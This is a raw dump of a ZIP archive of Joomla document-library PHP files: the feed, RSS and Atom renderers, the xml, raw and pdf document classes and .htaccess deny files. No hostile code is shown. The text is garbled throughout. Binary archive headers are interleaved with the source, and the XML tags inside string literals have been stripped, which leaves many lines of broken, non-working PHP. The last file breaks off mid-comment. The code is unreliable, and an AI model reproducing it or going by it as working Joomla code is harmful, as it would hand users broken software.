AAAAPK ©?\¦V‰ feed/index.htmlnu W+A„¶
PK ©?\®)ÕÐ feed/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\±±¶Üp p
feed/feed.phpnu W+A„¶ _type = 'feed';
}
/**
* Render the document
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return The rendered data
*
* @since 11.1
* @todo Make this cacheable
*/
public function render($cache = false, $params = array())
{
global $option;
// Get the feed type
$type = JRequest::getCmd('type', 'rss');
// Instantiate feed renderer and set the mime encoding
$renderer = $this->loadRenderer(($type) ? $type : 'rss');
if (!is_a($renderer, 'JDocumentRenderer'))
{
JError::raiseError(404, JText::_('JGLOBAL_RESOURCE_NOT_FOUND'));
}
$this->setMimeEncoding($renderer->getContentType());
// Output
// Generate prolog
$data = "_charset . "\"?>\n";
$data .= "\n";
// Generate stylesheet links
foreach ($this->_styleSheets as $src => $attr)
{
$data .= "\n";
}
// Render the feed
$data .= $renderer->render();
parent::render();
return $data;
}
/**
* Adds an JFeedItem to the feed.
*
* @param JFeedItem &$item The feeditem to add to the feed.
*
* @return JDocumentFeed instance of $this to allow chaining
*
* @since 11.1
*/
public function addItem(&$item)
{
$item->source = $this->link;
$this->items[] = $item;
return $this;
}
}
/**
* JFeedItem is an internal class that stores feed item information
*
* @package Joomla.Platform
* @subpackage Document
* @since 11.1
*/
class JFeedItem extends JObject
{
/**
* Title item element
*
* required
*
* @var string
* @since 11.1
*/
public $title;
/**
* Link item element
*
* required
*
* @var string
* @since 11.1
*/
public $link;
/**
* Description item element
*
* required
*
* @var string
* @since 11.1
*/
public $description;
/**
* Author item element
*
* optional
*
* @var string
* @since 11.1
*/
public $author;
/**
* Author email element
*
* optional
*
* @var string
* @since 11.1
*/
public $authorEmail;
/**
* Category element
*
* optional
*
* @var array or string
* @since 11.1
*/
public $category;
/**
* Comments element
*
* optional
*
* @var string
* @since 11.1
*/
public $comments;
/**
* Enclosure element
*
* @var object
* @since 11.1
*/
public $enclosure = null;
/**
* Guid element
*
* optional
*
* @var string
* @since 11.1
*/
public $guid;
/**
* Published date
*
* optional
*
* May be in one of the following formats:
*
* RFC 822:
* "Mon, 20 Jan 03 18:05:41 +0400"
* "20 Jan 03 18:05:41 +0000"
*
* ISO 8601:
* "2003-01-20T18:05:41+04:00"
*
* Unix:
* 1043082341
*
* @var string
* @since 11.1
*/
public $date;
/**
* Source element
*
* optional
*
* @var string
* @since 11.1
*/
public $source;
/**
* Set the JFeedEnclosure for this item
*
* @param object $enclosure The JFeedItem to add to the feed.
*
* @return JFeedItem instance of $this to allow chaining
*
* @since 11.1
*/
public function setEnclosure($enclosure)
{
$this->enclosure = $enclosure;
return $this;
}
}
/**
* JFeedEnclosure is an internal class that stores feed enclosure information
*
* @package Joomla.Platform
* @subpackage Document
* @since 11.1
*/
class JFeedEnclosure extends JObject
{
/**
* URL enclosure element
*
* required
*
* @var string
* @since 11.1
*/
public $url = "";
/**
* Length enclosure element
*
* required
*
* @var string
* @since 11.1
*/
public $length = "";
/**
* Type enclosure element
*
* required
*
* @var string
* @since 11.1
*/
public $type = "";
}
/**
* JFeedImage is an internal class that stores feed image information
*
* @package Joomla.Platform
* @subpackage Document
* @since 11.1
*/
class JFeedImage extends JObject
{
/**
* Title image attribute
*
* required
*
* @var string
* @since 11.1
*/
public $title = "";
/**
* URL image attribute
*
* required
*
* @var string
* @since 11.1
*/
public $url = "";
/**
* Link image attribute
*
* required
*
* @var string
* @since 11.1
*/
public $link = "";
/**
* Width image attribute
*
* optional
*
* @var string
* @since 11.1
*/
public $width;
/**
* Title feed attribute
*
* optional
*
* @var string
* @since 11.1
*/
public $height;
/**
* Title feed attribute
*
* optional
*
* @var string
* @since 11.1
*/
public $description;
}
PK ©?\¦V‰ feed/renderer/index.htmlnu W+A„¶
PK ©?\®)ÕÐ feed/renderer/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\Ób* • • feed/renderer/atom.phpnu W+A„¶ getCfg('offset'));
$now = JFactory::getDate();
$now->setTimeZone($tz);
$data = &$this->_doc;
$uri = JFactory::getURI();
$url = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port'));
$syndicationURL = JRoute::_('&format=feed&type=atom');
if ($app->getCfg('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $data->title);
}
elseif ($app->getCfg('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $data->title, $app->getCfg('sitename'));
}
else
{
$title = $data->title;
}
$feed_title = htmlspecialchars($title, ENT_COMPAT, 'UTF-8');
$feed = "language != "")
{
$feed .= " xml:lang=\"" . $data->language . "\"";
}
$feed .= ">\n";
$feed .= " " . $feed_title . "\n";
$feed .= " " . htmlspecialchars($data->description, ENT_COMPAT, 'UTF-8') . "\n";
if (empty($data->category) === false)
{
if (is_array($data->category))
{
foreach ($data->category as $cat)
{
$feed .= " \n";
}
}
else
{
$feed .= " category, ENT_COMPAT, 'UTF-8') . "\" />\n";
}
}
$feed .= " \n";
$feed .= " " . str_replace(' ', '%20', $data->getBase()) . "\n";
$feed .= " " . htmlspecialchars($now->toISO8601(true), ENT_COMPAT, 'UTF-8') . "\n";
if ($data->editor != "")
{
$feed .= " \n";
$feed .= " " . $data->editor . "\n";
if ($data->editorEmail != "")
{
$feed .= " " . htmlspecialchars($data->editorEmail, ENT_COMPAT, 'UTF-8') . "\n";
}
$feed .= " \n";
}
$feed .= " " . $data->getGenerator() . "\n";
$feed .= ' \n";
for ($i = 0, $count = count($data->items); $i < $count; $i++)
{
$feed .= " \n";
$feed .= " " . htmlspecialchars(strip_tags($data->items[$i]->title), ENT_COMPAT, 'UTF-8') . "\n";
$feed .= ' \n";
if ($data->items[$i]->date == "")
{
$data->items[$i]->date = $now->toUnix();
}
$itemDate = JFactory::getDate($data->items[$i]->date);
$itemDate->setTimeZone($tz);
$feed .= " " . htmlspecialchars($itemDate->toISO8601(true), ENT_COMPAT, 'UTF-8') . "\n";
$feed .= " " . htmlspecialchars($itemDate->toISO8601(true), ENT_COMPAT, 'UTF-8') . "\n";
if (empty($data->items[$i]->guid) === true)
{
$feed .= " " . str_replace(' ', '%20', $url . $data->items[$i]->link) . "\n";
}
else
{
$feed .= " " . htmlspecialchars($data->items[$i]->guid, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->items[$i]->author != "")
{
$feed .= " \n";
$feed .= " " . htmlspecialchars($data->items[$i]->author, ENT_COMPAT, 'UTF-8') . "\n";
if ($data->items[$i]->authorEmail != "")
{
$feed .= " " . htmlspecialchars($data->items[$i]->authorEmail, ENT_COMPAT, 'UTF-8') . "\n";
}
$feed .= " \n";
}
if ($data->items[$i]->description != "")
{
$feed .= " " . htmlspecialchars($data->items[$i]->description, ENT_COMPAT, 'UTF-8') . "\n";
$feed .= " " . htmlspecialchars($data->items[$i]->description, ENT_COMPAT, 'UTF-8') . "\n";
}
if (empty($data->items[$i]->category) === false)
{
if (is_array($data->items[$i]->category))
{
foreach ($data->items[$i]->category as $cat)
{
$feed .= " \n";
}
}
else
{
$feed .= " items[$i]->category, ENT_COMPAT, 'UTF-8') . "\" />\n";
}
}
if ($data->items[$i]->enclosure != null)
{
$feed .= " items[$i]->enclosure->url . "\" type=\""
. $data->items[$i]->enclosure->type . "\" length=\"" . $data->items[$i]->enclosure->length . "\" />\n";
}
$feed .= " \n";
}
$feed .= "\n";
return $feed;
}
}
PK ©?\‚RY Y feed/renderer/rss.phpnu W+A„¶ getCfg('offset'));
$now = JFactory::getDate();
$now->setTimeZone($tz);
$data = &$this->_doc;
$uri = JFactory::getURI();
$url = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port'));
$syndicationURL = JRoute::_('&format=feed&type=rss');
if ($app->getCfg('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $data->title);
}
elseif ($app->getCfg('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $data->title, $app->getCfg('sitename'));
}
else
{
$title = $data->title;
}
$feed_title = htmlspecialchars($title, ENT_COMPAT, 'UTF-8');
$feed = "\n";
$feed .= " \n";
$feed .= " " . $feed_title . "\n";
$feed .= " description . "]]>\n";
$feed .= " " . str_replace(' ', '%20', $url . $data->link) . "\n";
$feed .= " " . htmlspecialchars($now->toRFC822(true), ENT_COMPAT, 'UTF-8') . "\n";
$feed .= " " . $data->getGenerator() . "\n";
$feed .= ' \n";
if ($data->image != null)
{
$feed .= " \n";
$feed .= " " . $data->image->url . "\n";
$feed .= " " . htmlspecialchars($data->image->title, ENT_COMPAT, 'UTF-8') . "\n";
$feed .= " " . str_replace(' ', '%20', $data->image->link) . "\n";
if ($data->image->width != "")
{
$feed .= " " . $data->image->width . "\n";
}
if ($data->image->height != "")
{
$feed .= " " . $data->image->height . "\n";
}
if ($data->image->description != "")
{
$feed .= " image->description . "]]>\n";
}
$feed .= " \n";
}
if ($data->language != "")
{
$feed .= " " . $data->language . "\n";
}
if ($data->copyright != "")
{
$feed .= " " . htmlspecialchars($data->copyright, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->editorEmail != "")
{
$feed .= " " . htmlspecialchars($data->editorEmail, ENT_COMPAT, 'UTF-8') . ' ('
. htmlspecialchars($data->editor, ENT_COMPAT, 'UTF-8') . ")\n";
}
if ($data->webmaster != "")
{
$feed .= " " . htmlspecialchars($data->webmaster, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->pubDate != "")
{
$pubDate = JFactory::getDate($data->pubDate);
$pubDate->setTimeZone($tz);
$feed .= " " . htmlspecialchars($pubDate->toRFC822(true), ENT_COMPAT, 'UTF-8') . "\n";
}
if (empty($data->category) === false)
{
if (is_array($data->category))
{
foreach ($data->category as $cat)
{
$feed .= " " . htmlspecialchars($cat, ENT_COMPAT, 'UTF-8') . "\n";
}
}
else
{
$feed .= " " . htmlspecialchars($data->category, ENT_COMPAT, 'UTF-8') . "\n";
}
}
if ($data->docs != "")
{
$feed .= " " . htmlspecialchars($data->docs, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->ttl != "")
{
$feed .= " " . htmlspecialchars($data->ttl, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->rating != "")
{
$feed .= " " . htmlspecialchars($data->rating, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->skipHours != "")
{
$feed .= " " . htmlspecialchars($data->skipHours, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->skipDays != "")
{
$feed .= " " . htmlspecialchars($data->skipDays, ENT_COMPAT, 'UTF-8') . "\n";
}
for ($i = 0, $count = count($data->items); $i < $count; $i++)
{
if ((strpos($data->items[$i]->link, 'http://') === false) and (strpos($data->items[$i]->link, 'https://') === false))
{
$data->items[$i]->link = str_replace(' ', '%20', $url . $data->items[$i]->link);
}
$feed .= " - \n";
$feed .= " " . htmlspecialchars(strip_tags($data->items[$i]->title), ENT_COMPAT, 'UTF-8') . "\n";
$feed .= " " . str_replace(' ', '%20', $data->items[$i]->link) . "\n";
if (empty($data->items[$i]->guid) === true)
{
$feed .= " " . str_replace(' ', '%20', $data->items[$i]->link) . "\n";
}
else
{
$feed .= " " . htmlspecialchars($data->items[$i]->guid, ENT_COMPAT, 'UTF-8') . "\n";
}
$feed .= " _relToAbs($data->items[$i]->description) . "]]>\n";
if ($data->items[$i]->authorEmail != "")
{
$feed .= " "
. htmlspecialchars($data->items[$i]->authorEmail . ' (' . $data->items[$i]->author . ')', ENT_COMPAT, 'UTF-8') . "\n";
}
/*
// On hold
if ($data->items[$i]->source!="") {
$data.= " ".htmlspecialchars($data->items[$i]->source, ENT_COMPAT, 'UTF-8')."\n";
}
*/
if (empty($data->items[$i]->category) === false)
{
if (is_array($data->items[$i]->category))
{
foreach ($data->items[$i]->category as $cat)
{
$feed .= " " . htmlspecialchars($cat, ENT_COMPAT, 'UTF-8') . "\n";
}
}
else
{
$feed .= " " . htmlspecialchars($data->items[$i]->category, ENT_COMPAT, 'UTF-8') . "\n";
}
}
if ($data->items[$i]->comments != "")
{
$feed .= " " . htmlspecialchars($data->items[$i]->comments, ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->items[$i]->date != "")
{
$itemDate = JFactory::getDate($data->items[$i]->date);
$itemDate->setTimeZone($tz);
$feed .= " " . htmlspecialchars($itemDate->toRFC822(true), ENT_COMPAT, 'UTF-8') . "\n";
}
if ($data->items[$i]->enclosure != null)
{
$feed .= " items[$i]->enclosure->url;
$feed .= "\" length=\"";
$feed .= $data->items[$i]->enclosure->length;
$feed .= "\" type=\"";
$feed .= $data->items[$i]->enclosure->type;
$feed .= "\"/>\n";
}
$feed .= "
\n";
}
$feed .= " \n";
$feed .= "\n";
return $feed;
}
/**
* Convert links in a text from relative to absolute
*
* @param string $text The text processed
*
* @return string Text with converted links
*
* @since 11.1
*/
public function _relToAbs($text)
{
$base = JURI::base();
$text = preg_replace("/(href|src)=\"(?!http|ftp|https|mailto|data)([^\"]*)\"/", "$1=\"$base\$2\"", $text);
return $text;
}
}
PK ©?\®)ÕÐ
xml/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\L»ò©Â Â xml/xml.phpnu W+A„¶ _mime = 'application/xml';
//set document type
$this->_type = 'xml';
}
/**
* Render the document.
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return The rendered data
*
* @since 11.1
*/
public function render($cache = false, $params = array())
{
parent::render();
JResponse::setHeader('Content-disposition', 'inline; filename="' . $this->getName() . '.xml"', true);
return $this->getBuffer();
}
/**
* Returns the document name
*
* @return string
*
* @since 11.1
*/
public function getName()
{
return $this->_name;
}
/**
* Sets the document name
*
* @param string $name Document name
*
* @return JDocumentXml instance of $this to allow chaining
*
* @since 11.1
*/
public function setName($name = 'joomla')
{
$this->_name = $name;
return $this;
}
}
PK ©?\¦V‰ xml/index.htmlnu W+A„¶
PK ©?\¦V‰ raw/index.htmlnu W+A„¶
PK ©?\t¸O*_ _ raw/raw.phpnu W+A„¶ _mime = 'text/html';
// Set document type
$this->_type = 'raw';
}
/**
* Render the document.
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return The rendered data
*
* @since 11.1
*/
public function render($cache = false, $params = array())
{
parent::render();
return $this->getBuffer();
}
}
PK ©?\®)ÕÐ
raw/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\ÿ
xŒ˜F ˜F document.phpnu W+A„¶ setLineEnd($options['lineend']);
}
if (array_key_exists('charset', $options))
{
$this->setCharset($options['charset']);
}
if (array_key_exists('language', $options))
{
$this->setLanguage($options['language']);
}
if (array_key_exists('direction', $options))
{
$this->setDirection($options['direction']);
}
if (array_key_exists('tab', $options))
{
$this->setTab($options['tab']);
}
if (array_key_exists('link', $options))
{
$this->setLink($options['link']);
}
if (array_key_exists('base', $options))
{
$this->setBase($options['base']);
}
}
/**
* Returns the global JDocument object, only creating it
* if it doesn't already exist.
*
* @param string $type The document type to instantiate
* @param array $attributes Array of attributes
*
* @return object The document object.
*
* @since 11.1
*/
public static function getInstance($type = 'html', $attributes = array())
{
$signature = serialize(array($type, $attributes));
if (empty(self::$instances[$signature]))
{
$type = preg_replace('/[^A-Z0-9_\.-]/i', '', $type);
$path = dirname(__FILE__) . '/' . $type . '/' . $type . '.php';
$ntype = null;
// Check if the document type exists
if (!file_exists($path))
{
// Default to the raw format
$ntype = $type;
$type = 'raw';
}
// Determine the path and class
$class = 'JDocument' . $type;
if (!class_exists($class))
{
$path = dirname(__FILE__) . '/' . $type . '/' . $type . '.php';
if (file_exists($path))
{
require_once $path;
}
else
{
JError::raiseError(500, JText::_('JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS'));
}
}
$instance = new $class($attributes);
self::$instances[$signature] = &$instance;
if (!is_null($ntype))
{
// Set the type to the Document type originally requested
$instance->setType($ntype);
}
}
return self::$instances[$signature];
}
/**
* Set the document type
*
* @param string $type Type document is to set to
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setType($type)
{
$this->_type = $type;
return $this;
}
/**
* Returns the document type
*
* @return string
*
* @since 11.1
*/
public function getType()
{
return $this->_type;
}
/**
* Get the contents of the document buffer
*
* @return The contents of the document buffer
*
* @since 11.1
*/
public function getBuffer()
{
return self::$_buffer;
}
/**
* Set the contents of the document buffer
*
* @param string $content The content to be set in the buffer.
* @param array $options Array of optional elements.
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setBuffer($content, $options = array())
{
self::$_buffer = $content;
return $this;
}
/**
* Gets a meta tag.
*
* @param string $name Value of name or http-equiv tag
* @param boolean $httpEquiv META type "http-equiv" defaults to null
*
* @return string
*
* @since 11.1
*/
public function getMetaData($name, $httpEquiv = false)
{
$result = '';
$name = strtolower($name);
if ($name == 'generator')
{
$result = $this->getGenerator();
}
elseif ($name == 'description')
{
$result = $this->getDescription();
}
else
{
if ($httpEquiv == true)
{
$result = @$this->_metaTags['http-equiv'][$name];
}
else
{
$result = @$this->_metaTags['standard'][$name];
}
}
return $result;
}
/**
* Sets or alters a meta tag.
*
* @param string $name Value of name or http-equiv tag
* @param string $content Value of the content tag
* @param boolean $http_equiv META type "http-equiv" defaults to null
* @param boolean $sync Should http-equiv="content-type" by synced with HTTP-header?
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setMetaData($name, $content, $http_equiv = false, $sync = true)
{
$name = strtolower($name);
if ($name == 'generator')
{
$this->setGenerator($content);
}
elseif ($name == 'description')
{
$this->setDescription($content);
}
else
{
if ($http_equiv == true)
{
$this->_metaTags['http-equiv'][$name] = $content;
// Syncing with HTTP-header
if ($sync && strtolower($name) == 'content-type')
{
$this->setMimeEncoding($content, false);
}
}
else
{
$this->_metaTags['standard'][$name] = $content;
}
}
return $this;
}
/**
* Adds a linked script to the page
*
* @param string $url URL to the linked script
* @param string $type Type of script. Defaults to 'text/javascript'
* @param boolean $defer Adds the defer attribute.
* @param boolean $async Adds the async attribute.
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function addScript($url, $type = "text/javascript", $defer = false, $async = false)
{
$this->_scripts[$url]['mime'] = $type;
$this->_scripts[$url]['defer'] = $defer;
$this->_scripts[$url]['async'] = $async;
return $this;
}
/**
* Adds a script to the page
*
* @param string $content Script
* @param string $type Scripting mime (defaults to 'text/javascript')
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function addScriptDeclaration($content, $type = 'text/javascript')
{
if (!isset($this->_script[strtolower($type)]))
{
$this->_script[strtolower($type)] = $content;
}
else
{
$this->_script[strtolower($type)] .= chr(13) . $content;
}
return $this;
}
/**
* Adds a linked stylesheet to the page
*
* @param string $url URL to the linked style sheet
* @param string $type Mime encoding type
* @param string $media Media type that this stylesheet applies to
* @param array $attribs Array of attributes
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function addStyleSheet($url, $type = 'text/css', $media = null, $attribs = array())
{
$this->_styleSheets[$url]['mime'] = $type;
$this->_styleSheets[$url]['media'] = $media;
$this->_styleSheets[$url]['attribs'] = $attribs;
return $this;
}
/**
* Adds a stylesheet declaration to the page
*
* @param string $content Style declarations
* @param string $type Type of stylesheet (defaults to 'text/css')
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function addStyleDeclaration($content, $type = 'text/css')
{
if (!isset($this->_style[strtolower($type)]))
{
$this->_style[strtolower($type)] = $content;
}
else
{
$this->_style[strtolower($type)] .= chr(13) . $content;
}
return $this;
}
/**
* Sets the document charset
*
* @param string $type Charset encoding string
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setCharset($type = 'utf-8')
{
$this->_charset = $type;
return $this;
}
/**
* Returns the document charset encoding.
*
* @return string
*
* @since 11.1
*/
public function getCharset()
{
return $this->_charset;
}
/**
* Sets the global document language declaration. Default is English (en-gb).
*
* @param string $lang The language to be set
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setLanguage($lang = "en-gb")
{
$this->language = strtolower($lang);
return $this;
}
/**
* Returns the document language.
*
* @return string
*
* @since 11.1
*/
public function getLanguage()
{
return $this->language;
}
/**
* Sets the global document direction declaration. Default is left-to-right (ltr).
*
* @param string $dir The language direction to be set
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setDirection($dir = "ltr")
{
$this->direction = strtolower($dir);
return $this;
}
/**
* Returns the document direction declaration.
*
* @return string
*
* @since 11.1
*/
public function getDirection()
{
return $this->direction;
}
/**
* Sets the title of the document
*
* @param string $title The title to be set
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setTitle($title)
{
$this->title = $title;
return $this;
}
/**
* Return the title of the document.
*
* @return string
*
* @since 11.1
*/
public function getTitle()
{
return $this->title;
}
/**
* Sets the base URI of the document
*
* @param string $base The base URI to be set
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setBase($base)
{
$this->base = $base;
return $this;
}
/**
* Return the base URI of the document.
*
* @return string
*
* @since 11.1
*/
public function getBase()
{
return $this->base;
}
/**
* Sets the description of the document
*
* @param string $description The description to set
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setDescription($description)
{
$this->description = $description;
return $this;
}
/**
* Return the title of the page.
*
* @return string
*
* @since 11.1
*/
public function getDescription()
{
return $this->description;
}
/**
* Sets the document link
*
* @param string $url A url
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setLink($url)
{
$this->link = $url;
return $this;
}
/**
* Returns the document base url
*
* @return string
*
* @since 11.1
*/
public function getLink()
{
return $this->link;
}
/**
* Sets the document generator
*
* @param string $generator The generator to be set
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setGenerator($generator)
{
$this->_generator = $generator;
return $this;
}
/**
* Returns the document generator
*
* @return string
*
* @since 11.1
*/
public function getGenerator()
{
return $this->_generator;
}
/**
* Sets the document modified date
*
* @param string $date The date to be set
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setModifiedDate($date)
{
$this->_mdate = $date;
return $this;
}
/**
* Returns the document modified date
*
* @return string
*
* @since 11.1
*/
public function getModifiedDate()
{
return $this->_mdate;
}
/**
* Sets the document MIME encoding that is sent to the browser.
*
* This usually will be text/html because most browsers cannot yet
* accept the proper mime settings for XHTML: application/xhtml+xml
* and to a lesser extent application/xml and text/xml. See the W3C note
* ({@link http://www.w3.org/TR/xhtml-media-types/
* http://www.w3.org/TR/xhtml-media-types/}) for more details.
*
* @param string $type The document type to be sent
* @param boolean $sync Should the type be synced with HTML?
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*
* @link http://www.w3.org/TR/xhtml-media-types
*/
public function setMimeEncoding($type = 'text/html', $sync = true)
{
$this->_mime = strtolower($type);
// Syncing with meta-data
if ($sync)
{
$this->setMetaData('content-type', $type, true, false);
}
return $this;
}
/**
* Return the document MIME encoding that is sent to the browser.
*
* @return string
*
* @since 11.1
*/
public function getMimeEncoding()
{
return $this->_mime;
}
/**
* Sets the line end style to Windows, Mac, Unix or a custom string.
*
* @param string $style "win", "mac", "unix" or custom string.
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setLineEnd($style)
{
switch ($style)
{
case 'win':
$this->_lineEnd = "\15\12";
break;
case 'unix':
$this->_lineEnd = "\12";
break;
case 'mac':
$this->_lineEnd = "\15";
break;
default:
$this->_lineEnd = $style;
}
return $this;
}
/**
* Returns the lineEnd
*
* @return string
*
* @since 11.1
*/
public function _getLineEnd()
{
return $this->_lineEnd;
}
/**
* Sets the string used to indent HTML
*
* @param string $string String used to indent ("\11", "\t", ' ', etc.).
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function setTab($string)
{
$this->_tab = $string;
return $this;
}
/**
* Returns a string containing the unit for indenting HTML
*
* @return string
*
* @since 11.1
*/
public function _getTab()
{
return $this->_tab;
}
/**
* Load a renderer
*
* @param string $type The renderer type
*
* @return JDocumentRenderer Object or null if class does not exist
*
* @since 11.1
*/
public function loadRenderer($type)
{
$class = 'JDocumentRenderer' . $type;
if (!class_exists($class))
{
$path = dirname(__FILE__) . '/' . $this->_type . '/renderer/' . $type . '.php';
if (file_exists($path))
{
require_once $path;
}
else
{
JError::raiseError(500, JText::_('Unable to load renderer class'));
}
}
if (!class_exists($class))
{
return null;
}
$instance = new $class($this);
return $instance;
}
/**
* Parses the document and prepares the buffers
*
* @param array $params The array of parameters
*
* @return JDocument instance of $this to allow chaining
*
* @since 11.1
*/
public function parse($params = array())
{
return $this;
}
/**
* Outputs the document
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return The rendered data
*
* @since 11.1
*/
public function render($cache = false, $params = array())
{
if ($mdate = $this->getModifiedDate())
{
JResponse::setHeader('Last-Modified', $mdate /* gmdate('D, d M Y H:i:s', time() + 900) . ' GMT' */);
}
JResponse::setHeader('Content-Type', $this->_mime . ($this->_charset ? '; charset=' . $this->_charset : ''));
}
}
PK ©?\¹ÅñŒ Œ pdf/pdf.xmlnu W+A„¶
Joomla file type PDF
joomla
P.Kohl - VIrtuemart Team
2012
(c) 2004 - 2012 VirtueMart Team. All rights reserved.
GNU LESSER GENERAL PUBLIC LICENSE Version 2
http://www.virtuemart.net
1.7
pdf file type addon
document
PK ©?\ùˆÍ Í pdf/pdf.phpnu W+A„¶ _margin_header = $options['margin-header'];
}
if (isset($options['margin-footer'])) {
$this->_margin_footer = $options['margin-footer'];
}
if (isset($options['margin-top'])) {
$this->_margin_top = $options['margin-top'];
}
if (isset($options['margin-bottom'])) {
$this->_margin_bottom = $options['margin-bottom'];
}
if (isset($options['margin-left'])) {
$this->_margin_left = $options['margin-left'];
}
if (isset($options['margin-right'])) {
$this->_margin_right = $options['margin-right'];
}
if (isset($options['image-scale'])) {
$this->_image_scale = $options['image-scale'];
}
//set mime type
$this->_mime = 'application/pdf';
//set document type
$this->_type = 'pdf';
/*
* Setup external configuration options
*/
// define('K_TCPDF_EXTERNAL_CONFIG', true);
/*
* Path options
*/
/* // Installation path
define("K_PATH_MAIN", JPATH_VM_LIBRARIES.DS."tcpdf");
// URL path
define("K_PATH_URL", JPATH_BASE);
// Fonts path
define("K_PATH_FONTS", K_PATH_MAIN.DS.'fonts'.DS);
//define("K_PATH_FONTS", JPATH_ADMINISTRATOR.DS.'components'.DS.'com_phocapdf'.DS.'fonts'.DS)
// Cache directory path
define("K_PATH_CACHE", K_PATH_MAIN.DS."cache");
// Cache URL path
define("K_PATH_URL_CACHE", K_PATH_URL.DS."cache");
// Images path
define("K_PATH_IMAGES", K_PATH_MAIN.DS."images");
// Blank image path
define("K_BLANK_IMAGE", K_PATH_IMAGES.DS."_blank.png");
/*
* Format options
*/
/* // Cell height ratio
define("K_CELL_HEIGHT_RATIO", 1.0);
// Magnification scale for titles
define("K_TITLE_MAGNIFICATION", 1.0);
// Reduction scale for small font
define("K_SMALL_RATIO", 1/3);
// Magnication scale for head
define("HEAD_MAGNIFICATION", 1.1);
/*
* Create the pdf document
*/
// Default settings are a portrait layout with an A4 configuration using millimeters as units
if(!class_exists('TCPDF')) require(JPATH_ROOT.DS.'libraries'.DS.'tcpdf'.DS.'tcpdf.php');
$this->_engine = new TCPDF();
//set margins
$this->_engine->SetMargins($this->_margin_left, $this->_margin_top, $this->_margin_right);
//set auto page breaks
$this->_engine->SetAutoPageBreak(TRUE, $this->_margin_bottom);
$this->_engine->SetHeaderMargin($this->_margin_header);
$this->_engine->SetFooterMargin($this->_margin_footer);
$this->_engine->setImageScale($this->_image_scale);
}
/**
* Sets the document name
*
* @param string $name Document name
* @access public
* @return void
*/
function setName($name = 'joomla') {
$this->_name = $name;
}
/**
* Returns the document name
*
* @access public
* @return string
*/
function getName() {
return $this->_name;
}
/**
* Sets the document header string
*
* @param string $text Document header string
* @access public
* @return void
*/
function setHeader($text) {
$this->_header = $text;
}
/**
* Returns the document header string
*
* @access public
* @return string
*/
function getHeader() {
return $this->_header;
}
/**
* Render the document.
*
* @access public
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
* @return The rendered data
*/
function render( $cache = false, $params = array())
{
$pdf = &$this->_engine;
// Set PDF Metadata
$pdf->SetCreator($this->getGenerator());
$pdf->SetTitle($this->getTitle());
$pdf->SetSubject($this->getDescription());
$pdf->SetKeywords($this->getMetaData('keywords'));
// Set PDF Header data
$pdf->setHeaderData('',0,$this->getTitle(), $this->getHeader());
// Set PDF Header and Footer fonts
$lang = JFactory::getLanguage();
// $font = $lang->getPdfFontName();
// $font = ($font) ? $font : 'freesans';
$pdf->setRTL($lang->isRTL());
$pdf->SetFont('helvetica', '', 8, '', 'false');
$pdf->setHeaderFont(array($this->_header_font, '', 10));
$pdf->setFooterFont(array($this->_footer_font, '', 8));
// Initialize PDF Document
$pdf->AliasNbPages();
$pdf->AddPage();
// Build the PDF Document string from the document buffer
$this->fixLinks();
$pdf->WriteHTML($this->getBuffer(), true);
$data = $pdf->Output('', 'S');
// Set document type headers
parent::render();
//JResponse::setHeader('Content-Length', strlen($data), true);
JResponse::setHeader('Content-type', 'application/pdf', true);
JResponse::setHeader('Content-disposition', 'inline; filename="'.$this->getName().'.pdf"', true);
//Close and output PDF document
return $data;
}
function fixLinks()
{
}
}PK ©?\®)ÕÐ
pdf/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\:äˆ/ / pdf/index.htmlnu W+A„¶
PK ©?\¦V‰
index.htmlnu W+A„¶
PK ©?\„¥¡
json/json.phpnu W+A„¶ _mime = 'application/json';
// Set document type
$this->_type = 'json';
}
/**
* Render the document.
*
